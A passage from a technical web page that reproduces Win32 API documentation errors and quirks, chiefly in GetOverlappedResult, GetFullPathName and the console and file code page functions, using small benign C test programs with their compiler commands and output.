	ExitProcess(ERROR_SUCCESS);
#else
	ExitProcess(GetFullPathName(L"..", 0UL, NULL, NULL)
	          - GetFullPathName(L".", 0UL, NULL, NULL));
#endif
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
 Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
3
            OUCH⁶: the Win32 function
            GetFullPathName()
            returns a greater buffer size for the parent
            directory .. than for the current directory
            .!
        GetOverlappedResult()
            states:
        Retrieves the results of an overlapped operation on the specified file, named pipe, or communications device. […]The documentation for the[…]BOOL GetOverlappedResult( [in] HANDLE hFile, [in] LPOVERLAPPED lpOverlapped, [out] LPDWORD lpNumberOfBytesTransferred, [in] BOOL bWait );
[in] hFileA handle to the file, named pipe, or communications device. […]
[in] bWaitIf this parameter is TRUE, and the Internal member of the lpOverlapped structure is STATUS_PENDING, the function does not return until the operation has been completed. If this parameter is FALSE and the operation is still pending, the function returns FALSE and the GetLastError function returns ERROR_IO_INCOMPLETE.
[…]
If the function succeeds, the return value is nonzero.
If the function fails, the return value is zero. To get extended error information, call GetLastError.
[…]
If the bWait parameter is TRUE, GetOverlappedResult determines whether the pending operation has been completed by waiting for the event object to be in the signaled state.
If the hEvent member of the OVERLAPPED structure is NULL, the system uses the state of the hFile handle to signal when the operation has been completed. […]
OVERLAPPED
            structure states:
        MembersNote: status code means NTSTATUS code. NTSTATUS values
InternalThe status code for the I/O request. When the request is issued, the system sets this member to STATUS_PENDING to indicate that the operation has not yet started. When the request is completed, the system sets this member to the status code for the completed request.
InternalHighThe number of bytes transferred for the I/O request. The system sets this member if the request is completed without errors.
[…]
hEventA handle to the event that will be set to a signaled state by the system when the operation has completed. The user must initialize this member either to zero or a valid event handle using the CreateEvent function before passing this structure to any overlapped functions. This event can then be used to synchronize simultaneous I/O requests for a device. […]
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
const	OVERLAPPED	overlapped = {STATUS_PENDING, 0UL, {0UL, 0UL},
#ifndef BLUNDER
			              (HANDLE) NULL};
#else
			              INVALID_HANDLE_VALUE};
#endif
__declspec(noreturn)
VOID	CDECL	mainCRTStartup(VOID)
{
	DWORD	dwBlunder;
	DWORD	dwError = ERROR_SUCCESS;
#ifndef blunder
	if (!GetOverlappedResult((HANDLE) NULL,
#else
	if (!GetOverlappedResult(INVALID_HANDLE_VALUE,
#endif
	                         &overlapped, &dwBlunder, TRUE))
		dwError = GetLastError();
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(25) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x6 (WIN32: 6 ERROR_INVALID_HANDLE) -- 6 (6) Error message text: The handle is invalid. CertUtil: -error command completed successfully.Note: the Win32 error code 6 alias
ERROR_INVALID_HANDLE
            is expected proper behaviour – the
            GetOverlappedResult()
            function can neither wait on the handle specified by its
            hFile parameter nor on the handle specified by the
            hEvent member of the
            OVERLAPPED
            structure pointed to by its lpOverlapped parameter.
         Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(25) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 4. and wait some seconds before you press the
            Ctrl C keyboard
            shortcut to terminate it:
        
.\blunder.exe ^C
OUCH¹: instead to fail with Win32 error code 6 alias
ERROR_INVALID_HANDLE
            the
            GetOverlappedResult()
            function waits infinitely if its bWait
            parameter is not equal to FALSE, its hFile
            parameter is equal to NULL, the Internal
            member of the
            OVERLAPPED
            structure pointed to by its lpOverlapped parameter is
            equal to STATUS_PENDING and the hEvent
            member is equal to INVALID_HANDLE_VALUE!
         Compile and link the source file blunder.c created in
            step 1. a third time, now with the preprocessor macro
            blunder defined:
        
CL.EXE /Dblunder blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(25) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 6. and wait some seconds befory you press the
            Ctrl C keyboard
            shortcut to terminate it:
        
.\blunder.exe ^C
OUCH²: instead to fail with Win32 error code 6 alias
ERROR_INVALID_HANDLE
            the
            GetOverlappedResult()
            function waits infinitely if its bWait
            parameter is not equal to FALSE, its hFile
            parameter is equal to INVALID_HANDLE_VALUE, the
            Internal member of the
            OVERLAPPED
            structure pointed to by its lpOverlapped parameter is
            equal to STATUS_PENDING and the hEvent
            member is equal to NULL!
         Compile and link the source file blunder.c created in
            step 1. a last time, now with the preprocessor macros
            BLUNDER and blunder defined:
        
CL.EXE /DBLUNDER /Dblunder blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(25) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 8. and wait some seconds before you press the
            Ctrl C keyboard
            shortcut to terminate it:
        
.\blunder.exe ^C
OUCH³: instead to fail with Win32 error code 6 alias
ERROR_INVALID_HANDLE
            the
            GetOverlappedResult()
            function waits infinitely if its bWait
            parameter is not equal to FALSE, its hFile
            parameter is equal to INVALID_HANDLE_VALUE, the
            Internal member of the
            OVERLAPPED
            structure pointed to by its lpOverlapped parameter is
            equal to STATUS_PENDING and the hEvent
            member is equal to INVALID_HANDLE_VALUE!
         Overwrite the text file blunder.c created in
            step 1. with the following content:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define STATUS_SUCCESS				0x00000000
#define STATUS_WAIT_1				0x00000001
#define STATUS_WAIT_2				0x00000002
#define STATUS_WAIT_3				0x00000003
#define STATUS_WAIT_63				0x0000003F
#define STATUS_ABANDONED_WAIT_63		0x000000BF
#define STATUS_ALREADY_COMPLETE			0x000000FF
#define STATUS_OBJECT_NAME_EXISTS		0x40000000
#define STATUS_THREAD_WAS_SUSPENDED		0x40000001
#define STATUS_ALREADY_WIN32			0x4000001B
#define STATUS_BUFFER_OVERFLOW			0x80000005
#define STATUS_NO_MORE_FILES			0x80000006
#define STATUS_UNSUCCESSFUL			0xC0000001
#define STATUS_NOT_IMPLEMENTED			0xC0000002
#define STATUS_INVALID_INFO_CLASS		0xC0000003
#define STATUS_UNHANDLED_EXCEPTION		0xC0000144
#define STATUS_SYSTEM_PROCESS_TERMINATED	0xC000021A
#define STATUS_MULTIPLE_FAULT_VIOLATION		0xC00002E8
const	LONG	ntStatus[] = {STATUS_WAIT_0,
			      STATUS_WAIT_1,
			      STATUS_WAIT_2,
			      STATUS_WAIT_3,
			      STATUS_WAIT_63,
			      STATUS_ABANDONED_WAIT_0,
			      STATUS_ABANDONED_WAIT_63,
			      STATUS_USER_APC,
			      STATUS_ALREADY_COMPLETE,
			      STATUS_TIMEOUT,
			      STATUS_PENDING,
			      DBG_EXCEPTION_HANDLED,
			      DBG_CONTINUE,
			      STATUS_OBJECT_NAME_EXISTS,
			      STATUS_THREAD_WAS_SUSPENDED,
		              STATUS_SEGMENT_NOTIFICATION,
		              STATUS_ALREADY_WIN32,
			      0x80000000,
			      STATUS_GUARD_PAGE_VIOLATION,
			      STATUS_DATATYPE_MISALIGNMENT,
			      STATUS_BREAKPOINT,
			      STATUS_SINGLE_STEP,
			      STATUS_BUFFER_OVERFLOW,
			      STATUS_NO_MORE_FILES,
			      DBG_EXCEPTION_NOT_HANDLED,
			      0xC0000000,
			      STATUS_UNSUCCESSFUL,
			      STATUS_NOT_IMPLEMENTED,
			      STATUS_INVALID_INFO_CLASS,
		              STATUS_ACCESS_VIOLATION,
		              STATUS_IN_PAGE_ERROR,
		              STATUS_INVALID_HANDLE,
		              STATUS_INVALID_PARAMETER,
		              STATUS_DLL_NOT_FOUND,
		              STATUS_ORDINAL_NOT_FOUND,
		              STATUS_ENTRYPOINT_NOT_FOUND,
		              STATUS_CONTROL_C_EXIT,
		              STATUS_DLL_INIT_FAILED,
		              STATUS_UNHANDLED_EXCEPTION,
		              STATUS_SYSTEM_PROCESS_TERMINATED,
		              STATUS_MULTIPLE_FAULT_VIOLATION,
			      STATUS_STACK_BUFFER_OVERRUN,
		              STATUS_INVALID_CRUNTIME_PARAMETER,
		              STATUS_ASSERTION_FAILURE,
			      STATUS_SXS_EARLY_DEACTIVATION,
			      STATUS_SXS_INVALID_DEACTIVATION};
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	OVERLAPPED	overlapped = {0};
	DWORD	dwBlunder;
	DWORD	dwStatus = 0UL;
	DWORD	dwError = ERROR_SUCCESS;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
		do
		{
			overlapped.Internal = ntStatus[dwStatus];
			if (GetOverlappedResult(INVALID_HANDLE_VALUE, &overlapped, &dwBlunder, FALSE))
				PrintConsole(hError,
				             L"GetOverlappedResult() returned success for NTSTATUS 0x%08lX\n",
				             ntStatus[dwStatus]);
			else
			{
				dwError = GetLastError();
				if (dwError > 65535UL)
					PrintConsole(hError,
					             L"GetOverlappedResult() returned error 0x%08lX for NTSTATUS 0x%08lX\n",
					             dwError, ntStatus[dwStatus]);
				else
					PrintConsole(hError,
					             L"GetOverlappedResult() returned error %lu for NTSTATUS 0x%08lX\n",
					             dwError, ntStatus[dwStatus]);
			}
		}
		while (++dwStatus < sizeof(ntStatus) / sizeof(*ntStatus));
	ExitProcess(dwError);
} Compile and link the source file blunder.c overwrtten
            in step 10.:
        
SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 11.:
        
.\blunder.exe
GetOverlappedResult() returned success for NTSTATUS 0x00000000 GetOverlappedResult() returned success for NTSTATUS 0x00000001 GetOverlappedResult() returned success for NTSTATUS 0x00000002 GetOverlappedResult() returned success for NTSTATUS 0x00000003 GetOverlappedResult() returned success for NTSTATUS 0x0000003F GetOverlappedResult() returned success for NTSTATUS 0x00000080 GetOverlappedResult() returned success for NTSTATUS 0x000000BF GetOverlappedResult() returned success for NTSTATUS 0x000000C0 GetOverlappedResult() returned success for NTSTATUS 0x000000FF GetOverlappedResult() returned success for NTSTATUS 0x00000102 GetOverlappedResult() returned error 996 for NTSTATUS 0x00000103 GetOverlappedResult() returned success for NTSTATUS 0x00010001 GetOverlappedResult() returned success for NTSTATUS 0x00010002 GetOverlappedResult() returned success for NTSTATUS 0x40000000 GetOverlappedResult() returned success for NTSTATUS 0x40000001 GetOverlappedResult() returned success for NTSTATUS 0x40000005 GetOverlappedResult() returned success for NTSTATUS 0x4000001B GetOverlappedResult() returned error 317 for NTSTATUS 0x80000000 GetOverlappedResult() returned error 0x80000001 for NTSTATUS 0x80000001 GetOverlappedResult() returned error 998 for NTSTATUS 0x80000002 GetOverlappedResult() returned error 0x80000003 for NTSTATUS 0x80000003 GetOverlappedResult() returned error 0x80000004 for NTSTATUS 0x80000004 GetOverlappedResult() returned error 234 for NTSTATUS 0x80000005 GetOverlappedResult() returned error 18 for NTSTATUS 0x80000006 GetOverlappedResult() returned error 688 for NTSTATUS 0x80010001 GetOverlappedResult() returned error 317 for NTSTATUS 0xC0000000 GetOverlappedResult() returned error 31 for NTSTATUS 0xC0000001 GetOverlappedResult() returned error 1 for NTSTATUS 0xC0000002 GetOverlappedResult() returned error 87 for NTSTATUS 0xC0000003 GetOverlappedResult() returned error 998 for NTSTATUS 0xC0000005 GetOverlappedResult() returned error 999 for NTSTATUS 0xC0000006 GetOverlappedResult() returned error 6 for NTSTATUS 0xC0000008 GetOverlappedResult() returned error 87 for NTSTATUS 0xC000000D GetOverlappedResult() returned error 126 for NTSTATUS 0xC0000135 GetOverlappedResult() returned error 182 for NTSTATUS 0xC0000138 GetOverlappedResult() returned error 127 for NTSTATUS 0xC0000139 GetOverlappedResult() returned error 572 for NTSTATUS 0xC000013A GetOverlappedResult() returned error 1114 for NTSTATUS 0xC0000142 GetOverlappedResult() returned error 574 for NTSTATUS 0xC0000144 GetOverlappedResult() returned error 591 for NTSTATUS 0xC000021A GetOverlappedResult() returned error 640 for NTSTATUS 0xC00002E8 GetOverlappedResult() returned error 1282 for NTSTATUS 0xC0000409 GetOverlappedResult() returned error 1288 for NTSTATUS 0xC0000417 GetOverlappedResult() returned error 668 for NTSTATUS 0xC0000420 GetOverlappedResult() returned error 14084 for NTSTATUS 0xC015000F GetOverlappedResult() returned error 14085 for NTSTATUS 0xC0150010OUCH⁴: contrary to its documentation cited above, the
GetOverlappedResult()
            function succeeds if the Internal member of the
            OVERLAPPED
            structure pointed to by the lpOverlapped parameter is
            (for example) equal to 0x00000001 alias STATUS_WAIT_1,
            0x00000002 alias STATUS_WAIT_2,
            0x00000003 alias STATUS_WAIT_3,
            0x0000003F alias STATUS_WAIT_63,
            0x00000080 alias STATUS_ABANDONED_WAIT_0,
            0x000000BF alias STATUS_ABANDONED_WAIT_63,
            0x000000C0 alias STATUS_USER_APC,
            0x00010001 alias DBG_EXCEPTION_HANDLED,
            0x00010002 alias DBG_CONTINUE,
            0x40000000 alias STATUS_OBJECT_NAME_EXISTS,
            0x40000001 alias STATUS_THREAD_WAS_SUSPENDED or
            0x40000005 alias STATUS_SEGMENT_NOTIFICATION –
            these twelve
            NTSTATUS
            codes correspond to the Win32 error codes 731 alias
            ERROR_WAIT_1,
            732 alias
            ERROR_WAIT_2,
            733 alias
            ERROR_WAIT_3,
            734 alias
            ERROR_WAIT_63,
            735 alias
            ERROR_ABANDONED_WAIT_0,
            736 alias
            ERROR_ABANDONED_WAIT_63,
            737 alias
            ERROR_USER_APC,
            258 alias
            WAIT_TIMEOUT,
            766 alias
            ERROR_DBG_EXCEPTION_HANDLED,
            767 alias
            ERROR_DBG_CONTINUE,
            698 alias
            ERROR_OBJECT_NAME_EXISTS,
            699 alias
            ERROR_THREAD_WAS_SUSPENDED
            respectively 702 alias
            ERROR_SEGMENT_NOTIFICATION!
         OUCH⁵: contrary to the highlighted statement
            of the documentation cited above, the hFile parameter
            does not need to specify a valid handle – it
            can be INVALID_HANDLE_VALUE or NULL if the
            bWait parameter is FALSE
            or the Internal member of the
            OVERLAPPED
            structure pointed to by the lpOverlapped parameter is
            not equal to STATUS_PENDING!
        
GetOverlappedResultEx()
            is left as an exercise to the reader.
        Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
The AreFileApisANSI function determines whether the file I/O functions are using the ANSI or OEM character set code page. The SetFileApisToANSI function causes the functions to use the ANSI code page. The SetFileApisToOEM function causes the functions to use the OEM code page.The documentation for the Win32 functionBy default, file I/O functions use ANSI file names. Functions exported by Kernel32.dll that accept or return file names are affected by the file code page setting.
Both SetFileApisToANSI and SetFileApisToOEM set the code page per process, rather than per thread or per computer.
AreFileApisANSI()
            specifies:
        Determines whether the file I/O functions are using the ANSI or OEM character set code page. This function is useful for 8-bit console input and output operations.The documentation for the Win32 function[…]
The file I/O functions whose code page is ascertained by AreFileApisANSI are those functions exported by KERNEL32.DLL that accept or return a file name.
GetACP()
            specifies:
        Retrieves the current Windows ANSI code page identifier for the operating system.The documentation for the Win32 function
GetOEMCP()
            specifies:
        Returns the current original equipment manufacturer (OEM) code page identifier for the operating system.The documentation for the Win32 function
SetFileApisToANSI()
            states:
        Causes the file I/O functions to use the ANSI character set code page for the current process. This function is useful for 8-bit console input and output operations.OUCH¹: the highlighted statement is but wrong![…]
The file I/O functions whose code page is set by SetFileApisToANSI are those functions exported by KERNEL32.DLL that accept or return a file name.
[…]
The 8-bit console functions use the OEM code page by default. All other functions use the ANSI code page by default. This means that strings returned by the console functions may not be processed correctly by other functions, and vice versa.
 The documentation for the Win32 function
            SetFileApisToOEM()
            states:
        
Causes the file I/O functions for the process to use the OEM character set code page. This function is useful for 8-bit console input and output operations.OUCH²: the highlighted statement is but wrong too![…]
The file I/O functions whose code page is set by SetFileApisToOEM are those functions exported by KERNEL32.DLL that accept or return a file name.
[…]
The 8-bit console functions use the OEM code page by default. All other functions use the ANSI code page by default. This means that strings returned by the console functions may not be processed correctly by other functions, and vice versa.
The MSDN article Console Application Issues states:
The 8-bit console functions use the OEM code page.OUCH³: despite its third repetition, the first highlighted statement is but still wrong – contrary to the[…]
The console will accept UTF-16 encoding on the W variant of the APIs or UTF-8 encoding on the A variant of the APIs after using SetConsoleCP and SetConsoleOutputCP to
65001(CP_UTF8constant) for the UTF-8 code page.Barring that solution, a console application should use the SetFileApisToOEM function. That function changes relevant file functions so that they produce OEM character set strings rather than ANSI character set strings.
relevant file functions, which use the operating system’s static OEM code page when turned on with the
SetFileApisToOEM()
            function, the 8-bit console input functions use an
            arbitrary user-controlled
            ANSI
            or OEM
            code page which can be queried with the
            GetConsoleCP()
            function and set with the
            SetConsoleCP()
            function, whereas the 8-bit console output functions use another
            arbitrary user-controlled
            ANSI
            or OEM
            code page which can be queried with the
            GetConsoleOutputCP()
            function and set with the
            SetConsoleOutputCP()
            function!
        The MSDN article Console Code Pages specifies:
Associated with each console are two code pages: one for input and one for output. A console uses its input code page to translate keyboard input into the corresponding character value. It uses its output code page to translate the character values written by the various output functions into the images displayed in the console window. An application can use the SetConsoleCP and GetConsoleCP functions to set and retrieve a console's input code pages and the SetConsoleOutputCP and GetConsoleOutputCP functions to set and retrieve its output code pages.Note: the console commands
Chcp
            and
            Mode
            query the console input code page, but always set both the console
            input and output code pages.
         OUCH⁴: contrary to the last highlighted
            statement, a console application which uses 8-bit console input and
            output functions together with 8-bit file input and
            output functions needs to query their current mode with the
            AreFileApisANSI()
            function, call depending on its result either the
            GetACP()
            or the
            GetOEMCP()
            function to retrieve the appropriate
            code page identifier,
            then call the
            SetConsoleCP()
            and
            SetConsoleOutputCP()
            functions to set the console input and output code pages.
        
 Create the
            ANSI
            text file
            blunder.txt
            containing the extended characters of
            code page 1252
            in an arbitrary, preferable empty directory:
        
€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿCR/LF
            pair the file blunder.txt contains 125
            single-byte characters.
         Start the Command Processor
            Cmd.exe in the
            directory where you created the text file blunder.txt,
            then query the console input code page and display the text file
            blunder.txt using the internal
            Type
            command:
        
CHCP.COM TYPE blunder.txt
Active code page: 850. ÇéâäàåçêëèïîÄæÆôöòûùÿÖÜø£×ƒáíóúñѪº¿®¬½¼¡«»░▒▓│┤ÁÂÀ©╣║╗╝¢¥┐└┴┬├─┼ãÃ╚╔╩╦╠═╬¤ðÐÊËÈ€ÍÎÏ┘┌█▄¦Ì▀ÓßÔÒõÕµþÞÚÛÙýݯ´±‗¾¶§÷¸°¨·¹³²■OOPS: the file’s content is rendered like
mojibake!
        Set the console (input and output) code pages to 1252 and repeat the previous step 2, then reset the console code pages to 850:
CHCP.COM 1252 TYPE blunder.txt CHCP.COM 850
Active code page: 1252. €‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ Active code page: 850.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define CP1252	"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\n"
__declspec(noreturn)
VOID	CDECL	mainCRTStartup(VOID)
{
	CHAR	szBlunder[1025];
	DWORD	dwBlunder = wsprintf(szBlunder,
		                     "GetACP() returned code page identifier %u\n"
		                     "GetConsoleCP() returned code page identifier %u\n"
		                     "GetConsoleOutputCP() returned code page identifier %u\n"
		                     "GetOEMCP() returned code page identifier %u\n",
		                     GetACP(), GetConsoleCP(), GetConsoleOutputCP(), GetOEMCP());
	DWORD	dwError;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		if (!WriteConsole(hError, szBlunder, dwBlunder, &dwError, NULL))
			dwError = GetLastError();
		else
			if (dwError ^= dwBlunder)
				dwError = ERROR_WRITE_FAULT;
		//	else
		//		dwError = ERROR_SUCCESS;
		if (!WriteConsole(hError, CP1252, sizeof(CP1252) - 1, &dwError, NULL))
			dwError = GetLastError();
		else
			if (dwError ^= sizeof(CP1252) - 1)
				dwError = ERROR_WRITE_FAULT;
		//	else
		//		dwError = ERROR_SUCCESS;
		if (!WriteFile(hError, CP1252, sizeof(CP1252) - 1, &dwError, (LPOVERLAPPED) NULL))
			dwError = GetLastError();
		else
			if (dwError ^= sizeof(CP1252) - 1)
				dwError = ERROR_WRITE_FAULT;
		//	else
		//		dwError = ERROR_SUCCESS;
		if (!SetConsoleOutputCP(GetACP()))
			dwError = GetLastError();
		else
		{
			if (!WriteConsole(hError, CP1252, sizeof(CP1252) - 1, &dwError, NULL))
				dwError = GetLastError();
			else
				if (dwError ^= sizeof(CP1252) - 1)
					dwError = ERROR_WRITE_FAULT;
			//	else
			//		dwError = ERROR_SUCCESS;
			if (!WriteFile(hError, CP1252, sizeof(CP1252) - 1, &dwError, (LPOVERLAPPED) NULL))
				dwError = GetLastError();
			else
				if (dwError ^= sizeof(CP1252) - 1)
					dwError = ERROR_WRITE_FAULT;
			//	else
			//		dwError = ERROR_SUCCESS;
			if (!SetConsoleOutputCP(GetOEMCP()))
				dwError = GetLastError();
		}
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 4.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 5. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
GetACP() returned code page identifier 1252 GetConsoleCP() returned code page identifier 850 GetConsoleOutputCP() returned code page identifier 850 GetOEMCP() returned code page identifier 850 ÇéâäàåçêëèïîÄæÆôöòûùÿÖÜø£×ƒáíóúñѪº¿®¬½¼¡«»░▒▓│┤ÁÂÀ©╣║╗╝¢¥┐└┴┬├─┼ãÃ╚╔╩╦╠═╬¤ðÐÊËÈ€ÍÎÏ┘┌█▄¦Ì▀ÓßÔÒõÕµþÞÚÛÙýݯ´±‗¾¶§÷¸°¨·¹³²■ ÇéâäàåçêëèïîÄæÆôöòûùÿÖÜø£×ƒáíóúñѪº¿®¬½¼¡«»░▒▓│┤ÁÂÀ©╣║╗╝¢¥┐└┴┬├─┼ãÃ╚╔╩╦╠═╬¤ðÐÊËÈ€ÍÎÏ┘┌█▄¦Ì▀ÓßÔÒõÕµþÞÚÛÙýݯ´±‗¾¶§÷¸°¨·¹³²■ €‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ €‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
CharNextA()
            states:
        Retrieves the pointer to the next character in a string. This function can handle strings consisting of either single- or multi-byte characters.The documentation for the Win32 function[…]
[…]LPSTR CharNextA( [in] LPCSTR lpsz );When called as an ANSI function, CharNext uses the system default code-page, whereas
CharNextExA()specifies a code-page to use.
CharNextExA()
            states:
        Retrieves the pointer to the next character in a string. This function can handle strings consisting of either single- or multi-byte characters.Note: the code page identifier 65001 alias[…]
[…]LPSTR CharNextExA( [in] WORD CodePage, [in] LPCSTR lpCurrentChar, [in] DWORD dwFlags );
